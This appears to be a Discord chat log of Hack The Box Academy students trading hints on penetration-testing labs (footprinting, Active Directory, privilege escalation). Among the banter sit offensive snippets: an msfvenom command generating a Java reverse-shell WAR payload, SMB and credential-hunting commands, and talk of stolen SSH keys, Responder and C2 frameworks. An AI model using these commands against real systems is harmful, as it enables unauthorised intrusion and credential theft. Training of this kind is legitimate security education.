hey! i can`t accses internet in linux wifi connected but internet not working ping not working i try etc/resove.conf nameserver 8.8.8.8 but problem not solve

[spare condor]

Anyone on this one, please? 😄

[vital adder]

nope

jk shoot me a dm

[meager topaz]

can someone tell me about

this problem

[outer ledge]

Anyone else having problems victim machine ip:port resetting connection/not connecting?

[vital adder]

i just try with target in Web Attacks - Skills Assessment and it seem to be working fine

which module are you on?

[outer ledge]

Brute Forcing Skills Assessment

[vital adder]

if it is still not connecting for you give me a sec i'll send you my target for a sanity check

[vital adder]

which one 🤣

[outer ledge]

I get this no matter how many times I refresh the target

[vital adder]

quick one is your burp proxy on?

[outer ledge]

Oh srry the second

[outer ledge]

no everything works except academy victims

[vital adder]

wait the F ing target said the port is ssh

[outer ledge]

but the description says I need to get names and info from their website..

[vital adder]

oh it's from the previous skill assessment

[outer ledge]

loool

really

cuz the description makes it sound like a new target

to be clear im at the service login brute force skills assessment

[vital adder]

yep you will need to use some info you got from "their website" the previous Website skills assessment

[outer ledge]

Gotcha, good thing I make screenshots

[frozen wasp]

Hi, I'm stuck on "Footprinting Lab - Hard". I found the ||SNMP||, and I tried ||snmpwalk, onesixtyone, and braa||. ||Snmpwalk gave me Timeout: No Response and braa didn't worked. I received the OS version with onesixtyone, but I don't know what t do with that.|| Should I stick attacking to that protocol :S ?

[misty bough]

you're on the right track, remember to look back at your notes from the module!

[frozen wasp]

But the tools that I mentioned didn't work :S

[misty bough]

Have you found the community string?

That string should be in the output of the onesixtyone command.

[frozen wasp]

No, the tools that I mention gave errors like ||Timeout: No Response from ||

[misty bough]

||" I received the OS version with onesixtyone"||

If that doesn't work anymore, check your host and connection to that host from the pwnbox/vpn

[broken warren]

Can someone help me on the broken authentication brute forcing cookies and maybe predictable reset tokens? I'm pretty sure i figured out the correct encoding for question two in brute forcing cookies but idk the cookie i used wasn't correct i guess?

[rustic sage]

hello if someone is interrested to become my friend pleas go to dm and we gonna learn together like all topics in programming

[polar widget]

Blind SQL Injection module is up and available for koobs

[atomic belfry]

Hey there, running through the Linux Fundamentals, and stuck on Working with Web Services. I am struggling to start the web server on port 8080, when I go and try to change the listen port, it doesn't seem to do anything, so I think I am just lost

[woeful ermine]

you need to add something as in mentioned in the question

if the port 8080 is giving you an error then there is a possibility it actually works at the background

check 8081 to see if it works

[atomic belfry]

so 8081 works

[atomic belfry]

meant to reply, my b, 8081 is working here is example of what i see

[rustic sage]

hi, am trying to understand where am i wrong in this question, am currently trying to impersonate,but it doesn't allow with htbdbuser. I either try msfconsole msql_login for sa through Resources section users.list and pws.list but still nothing 😐

[tender acorn]

Today i have a strange thing in the "Getting started" Module, Service Scanning.
The Quastion is:
'Perform a Nmap scan of the target. What is the version of the service from the Nmap scan running on port 8080?'

i use 'nmap -sV -p 8080 10.129.42.254'

the result is
'PORT STATE SERVICE VERSION
8080/tcp open http-proxy
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
[the footprint is to long i haven't netro];'

block a proxy the scan?

[solid python]

Try using the -sC flag

Along with your current command

I did this section last night and found that I was able to get the correct answer with it

[woeful ermine]

so just change the port number and enter it like that looks like 8081 is working

[tender acorn]

wait it still scanning

[atomic belfry]

how can i specify the port in the argument? I feel like I'm doing too much to change the port over

[tender acorn]

give it a way to make nmap faster (more threads)

[tall elm]

-p 8081 instead of 8080 i think they saying

[tender acorn]

i get more information's whit -sC port 8081 not found

[woeful ermine]

yep. you can also search on google like "how to use npm"

[atomic belfry]

word, that should get me in the right direction, thanks man! Really appreciate this community not spoon feeding

[tender acorn]

this information i get more
`| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 757
| Date: Tue, 10 Jan 2023 18:36:55 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 404
| Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404
| Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> /nice%20ports%2C/Tri%6Eity.txt%2ebak</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.31 (Ubuntu)</h3></
| HTTPOptions:
| HTTP/1.1 200
| Allow: OPTIONS, GET, HEAD, POST
| Content-Length: 0
| Date: Tue, 10 Jan 2023 18:36:50 GMT
|_ Connection: close
´

[tall elm]

you doing better then me lol. i cant even fix annoying warning i get after i screwed something up haha "Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)).
thinking ill put that issue in the deal with later pile with all the rest haha

[atomic belfry]

🤦‍♂️ figured it out lol I see what i did wrong

[woeful ermine]

yep

[atomic belfry]

it was literally that SIMPLE

[woeful ermine]

hahaha

[graceful rampart]

Anyone for a nudge on AD skills Assesment 1? Trying to find the cleartext password fo the second user but I cant figure out hwere to find it. Im probably overlooking something stupid I was Indeed overlooking something. Found it

[tender acorn]

can you explain how i put that issue in the deal with later pile?

[tall elm]

no im putting my warning issue in the deal with later pile with all my other issues so i can go back to getting through the modules and hopefully learn how to fix my always growing bunch of too hard pile issues i need to get around to

[feral stump]

For anyone who hasn’t seen … the academy has posted a template example pentesting report which I thought could be useful for the people here

https://www.linkedin.com/posts/hackthebox_htb-penentration-testing-report-template-activity-7018599052455911427-v0VS?utm_source=share&utm_medium=member_ios

Hope not breaking any rules here

[tender acorn]

ok

[graceful rampart]

Well, thats AD Skills Assesment 1 Complete. Watching all the hashes pour in at the end is great feeling lol

[foggy kernel]

Hello

Im stuck at the service scanning from the pentesting basics section

I have to scan a SMB service to see which user are on the user disk but when i run the command i got an error
smbclient -N -L \\10.129.42.253
smbclient \\10.129.42.253\users

[tender acorn]

i found the error Kali Linux i don't know why but Pwnbox woks
have i a issue whit my Kali Linux installation or is it the VPN Connection ?

[solid python]

What error?

[foggy kernel]

i found the issue

next time I'll put my glasses

😂

[solid python]

Well played

[tender acorn]

i think HTB want that i spend money for Penbox

[solid python]

It's not needed unless your machine cannot support a virtual machine

[tender acorn]

i use kali linux in VM (windows is host) use Virtualbox connect to the vpn

[graceful rampart]

I've never used pwnbox aside from troubleshooting some small issues. 99% of the time I use my own machine

[thorn urchin]

I used pwnbox heavily in the first half of the course and then switched to mostly my own for the second half.

In the first half I had a lot more opportunities to grind stuff out at work which is why. Things been too busy to study at work now though

[sand hearth]

module: SHELLS & PAYLOADS
page: 16 (The Live Engagement)
**problem: ** I dont know which shell i can use
(i know that it need to use .war, but i dont know where i can find it)

I foud something in ||/usr/share/webshells/laudanum/jsp/cmd.war|| but it doenst work

[rustic sage]

ATTACKING ENTERPRISE NETWORKS // Post-Exploitation
Am i the only person for whom the double pivot with msfconsole doesn't work. The first reverse shell does work but something is going wrong with the dc_shell.exe

[thorn urchin]

could try something other than msfconsole

module is kinda meant to be tackled in your own way blind first and rely on the sections if you need help. So you can use other pivot tools if one doesnt seem to work well for you

[autumn pilot]

generate a shell using the war file extension/file type

[sand hearth]

can you be more specific? how

[autumn pilot]

using msfvenom

[thorn urchin]

actually didnt realize msfvenom had war output. Shoulda known though

I dont remember needing a war file for thay module, but my notes suck on that one so that could just be me

[sand hearth]

i will try that tommorow
but i should probably use something like this:
msfvenom -p java/shell_reverse_tcp lhost=10.10.0.1 lport=4321 -f war -o pwn.war
?

[tidal crown]

what wordlist were going to use for DNS subdomain enumeration under footprinting module

[fathom pendant]

That's the fun part, figuring that out :D

[maiden parcel]

hey im stuck with the medium lab on network enumeration academy, any hints?

i have no clue

[buoyant escarp]

can someone give me a hint on NOSQLi assessment 2 pls, i think it is SSJI ?

[near anvil]

Can someone help me with the Footprinting Module > SMB section. Last question is elusive: What is the full system path of that specific share? I have run netshareenumall and netsharegetinfo. I understand the system is not Windows, so the C:\ path does not apply in this case. I must be running into a formatting issue or something because when I provide the full path, or what I believe is the full path, the answer is incorrect. I have tried ||\home\sambauser\sambashare||, ||\home\sambauser\sambashare||, ||/home/sambauser/sambashare||, ||/home/sambauser/sambashare/||, and a few other combos using ////blah//blah etc. Much appreciated.

[graceful rampart]

Can aynone give me a nudge on AD Skills Assesment 2? Im completely lost here. I got the first flag, and I have a list of users. I have no idea how to find a password for another user. I cant run mimikatz cuz I dont have admin access to the first machine either. Ive tried password spraying too but that got me nowhere

[near anvil]

Which question are you on?

[graceful rampart]

4. Use a common method to obtain weak credentials for another user. Submit the username for the user whose credentials you obtain.

[near anvil]

@graceful rampart Ok, give me one sec.

I'm DMing you.

[graceful rampart]

Thanks

[stuck hull]

On the Password Attacks - Credential Hunting in Linux, does the -o ! -name "*.*" not search for any item?

If so why do we do the -name "*.txt" bit, would they not be found anyway?

Whole command is:

find /home/* -type f -name "*.txt" -o ! -name "*.*"

[fluid maple]

Feel free to DM me if you still need help

[near anvil]

Incoming...

[fluid maple]

Feel free to DM me if you still need help

[stuck hull]

Has anyone managed to do the Credential Hunting in Linux question, without the hint?

[plush steppe]

I'm having trouble with the whatweb command, I'm not sure if I'm using it correctly, could someone please check?

I've curled the ip before running this

[fresh reef]

Thankyou will doo, i suspected as much but trusted the resources provided @>@

[plush steppe]

I'm on the public exploits module and can't seem to get this to run

Something strange is that it doesn't have an option to set my local host

[eternal vale]

Anyone around to assist with Foot Printing hard lab?

[fluid maple]

Which enumeration section are you on?

• i miss read. nevermind

[eternal vale]

no worries

[plush steppe]

[] 188.166.144.131:31611 - Trying to retrieve the wp_users table...
[-] Auxiliary aborted due to failure: unexpected-reply: No response or unexpected status code in response
[] Auxiliary module execution completed
????

[high sentinel]

😄

what exactly are you having trouble with? i haven't done any of the modules but i think i'm quite capable with msf

[plush steppe]

Alright so, I've found an exploit in a lower version of wordpress

I'm trying to use it in metasploit

to do this I need to configure the options on that specific exploits attack

but it doesn't have any option for me to put in a localhost and gives and error code when connecting

[high sentinel]

for me to put in a localhost
what do you mean by that?

options

info

[plush steppe]

in the module

it says you should be able to set an LHOST to tun0

[fathom pendant]

Are you able to access it in a browser?

[plush steppe]

Yes

[graceful rampart]

He means run the command show options and sned us a screenshot lol

[eternal vale]

looks like a different exploit

[high sentinel]

so does the options offer you to set LHOST?

[graceful rampart]

Cant help much if we can see how you have the exploit configured

[high sentinel]

^

[eternal vale]

may not be a required field on this exploit

[plush steppe]

I guess but it still doesn't work when I run it lol

[graceful rampart]

you set the vhost to tun0

thats very wrong

[fathom pendant]

^

[high sentinel]

yeah 😄

[plush steppe]

uh ro

alright let me try to not do that hold on

[eternal vale]

likely need to be ip of tun0

[fathom pendant]

Yeah lhost and vhost are 2 different things

[high sentinel]

for VHOST? 😄 not really 😄

[eternal vale]

nah, misread it

[plush steppe]

still doesn't seem to work

maybe I should reset machine ip

[eternal vale]

is the box still up, maybe it timed out?

[plush steppe]

yep 42 mins

[high sentinel]

"have you tried turning it on and off again?" 😄 not everything is windows 😄

[plush steppe]

but i'll try to reset machine maybe

true

[high sentinel]

curl -v ip:port?

@plush steppe

[plush steppe]

huh?

ok but how would that help it?

doing it now

maybe it will magic work

[high sentinel]

does that return any output?

[plush steppe]

unfortunate

[high sentinel]

there's your issue

[graceful rampart]

😆

That does seem like an issue

[plush steppe]

it is a sad one

possibly vpn connection screwed itself over?

I gotta eat rq I'll bbs

[high sentinel]

vpn probably not required based on the address

[graceful rampart]

Anyone around for a nudge on AD Enumeration & Attacks - Skills Assessment Part II? I cant really say much in here without spoiling.

[plush steppe]

It's academy though

[high sentinel]

i can't tell, i haven't done any modules myself

ping me, if you need further help

[fathom pendant]

Docker targets afaik don't need the vpn

(it's not a 10.10.x.x so probably docker target)

[raven cairn]

Could I have a nudge on the Windows Priv - Kernel Exploits section

I have tried all 3 exploits

One of them I received an elevated meterpreter session, but I kept getting timeout errors

[high sentinel]

what does that mean? you get a session and you get a timeout at the same time? that's not making much sense

you should either get session or nothing at all

[raven cairn]

When I try to run commands in my meterpreer session I get timeouts

[graceful rampart]

I swear, eery time i post that i need help i end up figuring it out almost right after lol

[raven cairn]

I can show the error

[high sentinel]

great technique 😄

[graceful rampart]

lmao

[raven cairn]

Nice. You are making great progress on the AD module!

[high sentinel]

i get it

the point is likely something like that the session opens up and closes right away

[graceful rampart]

Im almost done with it 🙃

[raven cairn]

Would I need to turn off AV?

[high sentinel]

as far as i know, AV is not enabled in most htb stuff

try doing some "command exec" first, like creating a file, reading root flag or so

[graceful rampart]

Ive only ever seen it in 1 or 2 hard boxes. The rest were all insane machines

Its disabled 99% of the time

[stuck hull]

Credential Hunting Linux.

I've got ssh into the server, I think I've found the ||firefox default|| folder, but cannot get ||firefox_decrypt|| on the system. Am I on the right track?

Has anyone managed to get that on there?
I tried to do it offline with hashcat but I'm not sure hashcat supports it.

Any help greatly appreciated

[high sentinel]

really? i never seen it anywhere i think. I would probably kill my meterpreter instantly 😄

[graceful rampart]

Its on a few insanse machines i think. I could be wrong tho

🤷‍♂️

[high sentinel]

not sure, i haven't done much insane win boxes 😄

probably like 1 😄

[graceful rampart]

All i know about insane machines is what ive seen Alh4zr3d do lol

I havent done any insane machines myself

[high sentinel]

how come? 🙂 don't tell me you're scared 😄

[graceful rampart]

No lol

just not confident I could complete them

altho im slowly getting more confident

[high sentinel]

cmon, just try it 😄

[graceful rampart]

I will eventually

[high sentinel]

i've just taken a peek at sekmeth yesterday 😄

[graceful rampart]

nice

[plush steppe]

getting back to this

I reset the machine, cleaned its ass

no work still

😦

[high sentinel]

curl -v ip:port?

[plush steppe]

alright

oh I also turned off vpn

[graceful rampart]

Im tryna finish CPTS and then I wanna do RTO, and then maybe RTO2 and eventually Ill get back to doing malware developemnt

Ill get to the insane machines eventually

[high sentinel]

dafuq are those acronyms? 😄

[plush steppe]

yo it atleast does it this time

that's something

it curled yayy

[high sentinel]

options

[graceful rampart]

CPTS is HTBs cert. RTO is the "Red Team Ops" course from zero point security, RTO2 is the follow up to that one

[high sentinel]

pretty nice, what's the RTO about?

[high sentinel]

is the ip/port correct?

[graceful rampart]

More advanced red team tactics. You get to use cobalt strike too. RTO2 focuss on evasion

[plush steppe]

yes

[high sentinel]

info

[plush steppe]

]

😔

[high sentinel]

advanced

[raven cairn]

I plan to do zps certs after htb

[high sentinel]

man so many certs and i don't have any 😄

[raven cairn]

me too haha

[plush steppe]

wow doxxed my browser

😔

I'm actually not on windows

idk wtf it's talking about

[high sentinel]

set httptrace true

run

[high sentinel]

there's your issue 😄

[plush steppe]

might see it might not hold on

[raven cairn]

I have never seen this happen before

[graceful rampart]

rip

[high sentinel]

huh? 😄 you get what's happening, right?

[graceful rampart]

this is why i dont use meterpreter

[raven cairn]

Based

[plush steppe]

oh

HTTP/1.1 404 Not Found

?

[graceful rampart]

Meterpreter is really cool to study and learn how it works but i dont like using it

[plush steppe]

oh do I need to install that lmfao

it would make sense

[high sentinel]

what do you prefer then? 😄

[high sentinel]

WHAT? 😄

[graceful rampart]

Depends on my target, and my mood

[plush steppe]

jk

[graceful rampart]

most of the time i end up using sliver. Recently ive been using havoc for windows targets

[plush steppe]

but at the same time I'm not sure how to config that

oh wait am I using wrong exploit

...

that's fairly possible

[high sentinel]

i'm not really familiar with anything else than msf, i don't do much of this in real world but like having actual session is tough as you get caught a lot of times by the AV

[thorn urchin]

I liked smb delivery for meterpreter for some of the lab environments

[high sentinel]

😄

[raven cairn]

This

💯

[plush steppe]

yeah k so that exploit is only for http 1.1

[graceful rampart]

Yes

[thorn urchin]

but diving into other c2 frameworks is def on my todo list.

[plush steppe]

servers

[graceful rampart]

Im gonna make my own eventually

at least thats the plan

[thorn urchin]

its good practice at least

[graceful rampart]

Yea

[high sentinel]

https://github.com/HavocFramework/Havoc this looks really cool 👀

[raven cairn]

Lol we already mentioned havoc

[graceful rampart]

Yea it is

[thorn urchin]

Knowing how to modify loaders/beacons/implants is massively valuable though.

[high sentinel]

i gotta try that on some htb stuff 😄

does it run on linux? 😄 can i use it only in terminal?

[thorn urchin]

the prolabs are better environments for practicing c2

[graceful rampart]

^

[thorn urchin]

you really dont get much advantage out of em until youre managing multiple hosts with pivots

[vital adder]

not if it get reset daily 😢

[raven cairn]

So with my timeout errors could that be a connection issue possibly? Do I just have shit wifi?

[graceful rampart]

It has a GUI and everything. Yes you can run it on linux. Unless its been updated recently tho there are only windows payloads

[high sentinel]

most likely not

[plush steppe]

please mcshoot me

[high sentinel]

ok 😄

[plush steppe]

🙂

[high sentinel]

gotta really try it 😄

[raven cairn]

Then what would it be?

I am confused

[high sentinel]

it's probably just about the exploit running the command that you're giving it and terminating afterwards. If you really want an interactive session you need to work some way around that like adding an admin user or so

makes sense?

[raven cairn]

Yes

[high sentinel]

DO IT 😄

man, what's that single guy in the VC general chat doing 👀 😄 i've tried talking to him and he doesn't talk back 😄

[plush steppe]

WHERE THE FUCK DO I FIND THE CVE OF SOMETHING ON EXPLOITDB.com

kill me now

nvm doesn't even have one

[high sentinel]

i don't get what you're doing

[plush steppe]

oh now it works

ffs nvm

I want to mcshoot megasploit

[high sentinel]

solved? 🙂

[raven cairn]

Will get back to it soon. Taking a break

[desert sleet]

I'm doing https://academy.hackthebox.com/module/162/section/1534#questionsDiv and current stuck with this question about split panes vertically over a command. Any hints? I tried [Ctrl] + [B] + [Shift] + [%] (prefix + [Shift] + [%]) , but it doesn't accept my answer.

[high sentinel]

split panes? 😄 huh

what's the module about?

[desert sleet]

Documentation

Nevermind, I got it

[plush steppe]

yayy

ty for helping @high sentinel

[high sentinel]

hopefully you learned a bit about how to debug your own stuff

so you can do it on your own next time 🙂

[plush steppe]

fs

[high sentinel]

man these kids 😄 you just gotta type as little as possible 😄

it's gonna end up with just one character 😄

[plush steppe]

there's already W and L

[high sentinel]

wut? 😄

[plush steppe]

Yeah uhm "W is a popular term in sport and gaming. When someone simply puts a "W" in the comment section, it means they're saying "Win" or congratulating someone on their success. It's the opposite of someone taking an "L," which means to lose. Obviously."

💀

[high sentinel]

i dont get that

like i get the meaning but i don't get why would you do that

[plush steppe]

I know, it's very stupid lmao, younger kids are starting to use it though

[high sentinel]

where is this world even going? 😄

[plush steppe]

fair question, it's not

[high sentinel]

it's not? 😄

it's not going, it's swimming, right? 😄

[graceful rampart]

AD Skills assesment 2 complete

That was a wild ride

By far the most fun I've had in a while

[thorn urchin]

its an awesome module

#1 in my books

which Im confident saying even with only the last two modules left

[graceful rampart]

Absolutley

Altho I am expecting attacking enterprise networks to be a fun challenege

[naive sky]

hello excuse me <@&817153850845823057> i want to update my subscription but it couldnt why ?

"Please note, our payment processor is currently experiencing delays. If you made a purchase that is not yet reflected on your account, there is no need to reach out to support. It will be automatically reflected after a short delay period."

what does it mean?

i want to share the screenshot but i couldnt, is there permission for it?

[fathom pendant]

It means that the company that processes payment information is having some difficulties; this isn't the place to ask these sorts of questions. The subscription, once purchased, should reflect after a few days.

[naive sky]

it canceled because my balance is My account balance is not enough so it runs out which should be subscribed on January 5, now I want to top up the balance but after I subscribe it fails

any body knows maybe

If there is no balance, can there be a reduction in the balance without an agreement using a credit card?
Is it possible to continue renewing the subscription with a credit card with an insufficient balance?

<@&817153850845823057>

[graceful rampart]

Oof

You're gonna get banned for that one

[graceful rampart]

Did you seriously just ask if it's possible to renew a subscription with a credit card that has an insufficient balance?

[surreal rain]

@naive sky Please do not ping random roles to get support. Please use the chat bubble on the website. If you do not see a chat bubble, you will need to temporarily disable your adblocker..

[naive sky]

i have seen it , but doesnt help to solve my problesm untill now

the transaction was succeded at first but for second not failed

[surreal rain]

Doesn't help, or you didn't wait for a response?

[naive sky]

i have waited but untill now not solved

I got this what does it mean please?

"Please note, our payment processor is currently experiencing delays. If you made a purchase that is not yet reflected on your account, there is no need to reach out to support. It will be automatically reflected after a short delay period."

[graceful rampart]

Exactly what it says.

[surreal rain]

Check your payment account. If the money didn't get withdrawn, it means wait for it to get withdrawn.

If it got withdrawn, it did what it was supposed to do.

[rustic sage]

I can't verify for some reason

[naive sky]

my account is enough to do transaction but failed

[graceful rampart]

Nothing failed. If the money hasn't been withdrawn yet it will be eventually

[naive sky]

could i use paypal , but the paypal is forbidden 403 isnt?

and i havent seen option in billing payment option hackthebox academy

[sly tapir]

Madfox isnt here yet to ask the famous question? 😂

[plush steppe]

Can someone give me a little nudge for the privilege escalation module, what I have so far is this

||
user1@gettingstartedprivesc-589350-655b464765-xvtbb:/home/user2$ sudo -u user2 /bin/bash chmod 7 root/flag.txt
/usr/bin/chmod: /usr/bin/chmod: cannot execute binary file
basically what I'm trying to do is as user 1 use user 2's bin/bash sudo access to change the flag in root's permissions to let user2 access it as they can access root but I'm left with that sad error ||

[fathom pendant]

That's too much work lol

[sly tapir]

Hint || sudo -l tells you all you need to know to escalate priv ||

[fathom pendant]

^

Who do the sudo

[plush steppe]

wait what I have access to .ssh

💀

I might know what to do now

[fathom pendant]

Yep always try the simple things first

[plush steppe]

uh

I have the || id_rsa and I'm trying to do ssh -i then the long ass key|| why would that not work?

it's very upset

@sly tapir

[ripe terrace]

Has anyone got any tips for mounting a BitLocker .vhd without the UAC/admin prompt coming up? I've cracked the .vhd's hash and want to extract what's in it.

[ripe terrace]

The key should be saved into a file like id_rsa with limited permissions, eg. chmod 600 id_rsa - you can then use it with ssh.

[sly tapir]

Did you follow along how they did in the lesson?

[plush steppe]

yeah but that makes it harder 😔

oh I guess I could just echo

[ripe terrace]

Makes what harder?

[plush steppe]

connecting to ssh

I should be able to just have their key

and connect

[ripe terrace]

But that's exactly what I'm describing, using their key to connect.

[plush steppe]

alright so make the key into a file that I create

with less perms

then use that?

[ripe terrace]

Yes

[sly tapir]

The begin/end is important to have on that file—i learned that the hard way lol

[plush steppe]

bruhh the timer ran out

[sly tapir]

Haha

[plush steppe]

does that mean that key is no loger vlaid?

longer

😭

[ripe terrace]

Nah it'll still be valid

[plush steppe]

oh tg

[ripe terrace]

Just restart the box

[plush steppe]

bruh hmm

error in lib crypto

is this a box error @ripe terrace ?

[ripe terrace]

Are you sure you copied the entire key correctly? Including the parts -----BEGIN OPENSSH PRIVATE KEY----- at the start and the end?

[solid python]

Yeah it sounds like it's having trouble with the key

[plush steppe]

nope lmfao, I infact did not

do that

ty

[solid python]

Most ssh problems are with your key being el wrongo

[plush steppe]

who would happen to know what the exact end --- thing is

[ripe terrace]

-----END OPENSSH PRIVATE KEY-----

Now you can just copy all the chat from the BEGIN and END above, and you've got yourself another SSH key 😉

[plush steppe]

pretty sure I have to go all the way back to the machine! 😄

I think it might have reset the key

[graceful rampart]

Thats not how ssh keys work

[ripe terrace]

It won't have. It might be you copied/saved it wrong however.

[plush steppe]

probably me

[amber garden]

in the same place now 😐 pth doesn't work on DC... any hints ?

[west canopy]

||Responder||

[plush steppe]

whoever created vim shouldn't have

[ripe terrace]

shun the nonbeliever

[plush steppe]

wtf does insert view select mode mean 💀 I try to copy all written text in vim and it does this

[fathom pendant]

Insert means insert as in typing.

Allows you to actually type things in

[plush steppe]

no

I mean

when I select text

it shows a "Insert VIEW"

mode

[fathom pendant]

Because you hit "I"

[graceful rampart]

i would not advice using vim if youve never used it before\

just use something like nano for now

learning vim is an entire project in its own right

[fathom pendant]

Nano can be funky when copying ssh keys

[graceful rampart]

So can vim lol

[fathom pendant]

True

[graceful rampart]

Only way to not have issues is to use sublime lol

[fathom pendant]

Idk if pluma is installed on pwnbox

[ripe terrace]

You can just cat it and copy the text right out of the terminal.

[amber garden]

@west canopy - thx - sent you DM ..

[plush steppe]

well it def is being funky

... could this be why?

I wouldn't be shocked because it's vim

would vim screw me over because of two spaces?

[graceful rampart]

yes

[tender glen]

Thanks

[plush steppe]

wtf after fixing everything it still doesn't work

I changed the machines diaper, made sure it's not fucked in vim

and it still won't work

[sly tapir]

Did you copy it to your machine?

[plush steppe]

yes, then I echoed

then I chmod'd

then I tried to ssh

[sly tapir]

i just opened a text editor and pasted it inside saved it as id_rsa, chmod’d it and GTG

[fallen cypress]

Hola

[plush steppe]

?

[high sentinel]

😄

[plush steppe]

ok I'll try

[amber garden]

@west canopy thx 🙂 I should try before asking ...

[plush steppe]

WHAT THE FUCK THEY GONNA DO ABOUT IT

I WILL KILL VIM WITH MY OWN HANDS

I SWEAR

[high sentinel]

:w!

[harsh vector]

HAUDHSUHDAUSHDA LMAO

[naive sky]

id there option paypal?

[sly tapir]

:wa (write) :q (quit)

[naive sky]

i havent seen it for payment

[ripe terrace]

Why are you editing a readonly file?

[plush steppe]

ik but still

it's just so full of features nobody needs

example cntrl z makes a symbol

[high sentinel]

what are you talking about? 😄

[ripe terrace]

PEBKAC 😉 - vim is great.

[graceful rampart]

Vim is great lol